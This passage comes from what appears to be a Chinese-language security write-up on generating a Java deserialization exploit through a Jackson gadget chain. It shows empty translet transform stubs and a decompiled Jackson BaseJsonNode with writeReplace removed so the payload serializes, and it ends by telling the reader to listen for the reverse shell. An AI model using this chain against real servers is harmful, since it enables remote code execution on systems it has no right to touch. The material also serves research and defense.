public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后这里会报个错,出在BaseJsonNode这个文件上的writeReplace方法,我们可以把这个文件源码反编译出来把这个方法删掉,然后再扔到生成EXP下的项目去就可以正常生成了:

image

BaseJsonNode.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.fasterxml.jackson.databind.node;

import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;
import com.fasterxml.jackson.core.ObjectCodec;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.SerializerProvider;
import com.fasterxml.jackson.databind.jsontype.TypeSerializer;
import java.io.IOException;
import java.io.Serializable;

public abstract class BaseJsonNode extends JsonNode implements Serializable {
private static final long serialVersionUID = 1L;

public final JsonNode findPath(String fieldName) {
JsonNode value = findValue(fieldName);
if (value == null)
return MissingNode.getInstance();
return value;
}

public abstract int hashCode();

public JsonNode required(String fieldName) {
return (JsonNode)_reportRequiredViolation("Node of type `%s` has no fields", new Object[] { getClass().getSimpleName() });
}

public JsonNode required(int index) {
return (JsonNode)_reportRequiredViolation("Node of type `%s` has no indexed values", new Object[] { getClass().getSimpleName() });
}

public JsonParser traverse() {
return (JsonParser)new TreeTraversingParser(this);
}

public JsonParser traverse(ObjectCodec codec) {
return (JsonParser)new TreeTraversingParser(this, codec);
}

public abstract JsonToken asToken();

public JsonParser.NumberType numberType() {
return null;
}

public abstract void serialize(JsonGenerator paramJsonGenerator, SerializerProvider paramSerializerProvider) throws IOException;

public abstract void serializeWithType(JsonGenerator paramJsonGenerator, SerializerProvider paramSerializerProvider, TypeSerializer paramTypeSerializer) throws IOException;

public String toString() {
return InternalNodeMapper.nodeToString(this);
}

public String toPrettyString() {
return InternalNodeMapper.nodeToPrettyString(this);
}
}

监听反弹shell即可

 评论